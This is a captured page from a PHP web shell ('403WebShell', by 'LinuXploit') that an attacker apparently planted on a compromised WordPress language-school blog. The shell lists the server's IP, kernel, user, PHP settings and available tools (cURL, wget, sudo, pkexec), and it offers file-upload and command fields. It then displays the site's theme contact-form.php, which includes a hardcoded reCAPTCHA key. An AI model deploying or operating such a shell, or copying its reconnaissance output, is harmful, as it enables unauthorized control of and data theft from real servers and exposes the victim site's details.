Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/blog.ecoledelangues.be/wp-content/themes/metro/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/themes/metro/functions/contact-form.php
<?php

add_action('wp_ajax_om_ajax_contact_form', 'om_ajax_contact_form');
add_action('wp_ajax_nopriv_om_ajax_contact_form', 'om_ajax_contact_form');

function om_ajax_contact_form() {

	if ( get_magic_quotes_gpc() ) {
		$_POST = stripslashes_deep( $_POST );
	}
	
	if(@$_POST['site'] != '1') //simple antispam
		die();

	$email = get_option(OM_THEME_PREFIX.'form_email');
	if(!$email)
	{
		echo '1';
		die();
	}
	
	if(get_option(OM_THEME_PREFIX."form_captcha") == 'true') {
	  require_once(TEMPLATEPATH.'/libraries/recaptchalib.php');
	  $resp = recaptcha_check_answer ("6LeEs9sSAAAAALbzfjbcCFPQL_jHhAeOAGgHb4Zz",
	                                $_SERVER["REMOTE_ADDR"],
	                                $_POST["recaptcha_challenge_field"],
	                                $_POST["recaptcha_response_field"]);
	
	  if (!$resp->is_valid) {
	    echo '2';
	    die();
	  }
	}
			
	$html='<h3>'.__('Contact Form', 'om_theme').'</h3>';
	$html.='<table border="1" cellpadding="5"><tr><td>'.__('Date', 'om_theme').'</td><td>'.date('F j, Y H:i').'</td></tr>';

	if(is_array(@$_POST['fields'])) {
		foreach($_POST['fields'] as $k=>$v) {
			$html.='<tr><td>'.base64_decode($k).'</td><td>'.str_replace("\n",'<br/>',htmlspecialchars($v)).'</td></tr>';
		}
	}
	$html.='</table>';
	
	add_filter('wp_mail_content_type',create_function('', 'return "text/html";'));
	if( wp_mail( $email, __('Une demande du formulaire EDL ! je t\'aime ma petite femme','om_theme'), $html ) )
		echo '0';
	else
		echo '1';
	
  die();
}


Youez - 2016 - github.com/yon3zu
LinuXploit